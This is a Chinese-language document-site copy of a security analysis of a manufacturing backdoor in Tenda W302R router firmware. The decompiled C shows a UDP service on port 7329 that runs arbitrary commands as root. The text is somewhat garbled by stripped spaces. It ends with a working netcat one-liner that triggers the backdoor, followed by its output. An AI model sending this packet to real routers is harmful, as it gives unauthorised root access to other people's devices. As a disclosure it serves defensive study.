资源描述:
《腾达tenda 路由器后门分析》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、一直有人认为D-Link是唯一的将在其产品中放置后门供应商,其实这里还有一个供应商也同样在产品中放置了后门,并且可以利用单个UDP数据包就搞定。她——就是腾达。腾达W302R无线路由器的最新固件解压后,我开始寻找基于GoAheadWeb服务器指向的/bin/httpd,腾达做了很多特殊的修改:进入HTTP接收回路前,调用产生MfgThread的功能作为一个单独的线程的线程主函数InitMfgTask。Hmmm…InitMfgTask和MfgThread?也许可能是manufacturingtasks(mfg有可能是
2、MANUFACTURING的缩写,方便他们在研发过程中发生各种不能访问路由器管理功能时留下的维修接口,估计正式产品上市的时候忘记去掉了)首先MfgThread(Mfg进程)创建UDPsocket且绑定在7329端口上然后线程进入一个recvfrom循环,从插座上阅读最多128字节。预计每一个接收到的UDP数据包,至少有14个字节的长度:现在最有意思的部分,接收到的UDP数据包,然后解析这个代码块:转C代码表示memset(rx_magic_string,0,0x80);memset(command_byte,0,0
3、x80);memset(command_arg,0,0x80);memcpy(rx_magic_string,rx_buf,9);command_byte[0]=rx_buf[11];memcpy(command_arg,rx_buf+12,rx_size-12);//Ifmagicstringdoesn'tmatch,stopprocessingthispacketandwaitforanotherpacketif(strcmp(rx_magic_string,"w302r_mfg")!=0)gotoouter_
4、receive_loop;我们可以看到,该线程被认为一个以下的数据结构包:structcommand_packet_t{charmagic[10];//9bytemagicstring("w302r_mfg"),plusaNULLterminatingbytecharcommand_byte;charcommand_arg[117];};只要接收到的数据包开始字符串“w302r_mfg”,代码然后比较三个ASCII字符指定的命令字节对(’1′,’X',’E'):为了方便,我已经转换剩余反汇编(至少重要位)后的C代码
5、:switch(command_byte){case'e':strcpy(tx_buf,"w302r_mfg");tx_size=9;break;case'1':if(strstr(command_arg,"iwpriv")!=NULL)tx_size=call_shell(command_arg,tx_buf,0x800);elsestrcpy(tx_buf,"000000");tx_size=strlen(tx_buf);break;case'x':tx_size=call_shell(command_arg,
6、tx_buf,0x800);break;default:gotoouter_receive_loop;}sendto(client_socket,tx_buf,tx_size,client_sock_addr,16);gotoouter_receive_loop;以下操作对应的三个接受的命令字节:'E'-响应与预先定义的字符串,通常是ping测试'1'-蓄意让用户运行iwpriv命令'X'-允许你用root权限运行任何命令如果被指定为’X'的命令字节命令字节后的数据包(称为在上述代码command_arg),其余的
7、被传递到call_shell通过POPEN,执行命令:更重要的是,call_shell填充tx_buf的命令,我们可以看到,从以前的C代码,发送回客户端的输出缓冲区!了解了MfgThread和其预期的数据包结构的功能,我们可以很容易用NC来执行这个后门:$echo-ne"w302r_mfgx00x/bin/ls"
8、nc-u-q5192.168.0.17329drwxr-xr-x2001363webrootdrwxr-xr-x1000vardrwxr-xr-x50043usrdrwxr-xr-x1000tmpdrw
9、xr-xr-x2003sysdrwxr-xr-x200569sbindr-xr-xr-x39000procdrwxr-xr-x2003mntdrwxr-xr-x1000mediadrwxr-xr-x400821liblrwxrwxrwx10011init->bin/busyboxdrwxr-xr-x2003homedrwxr-xr-x700154etc_ro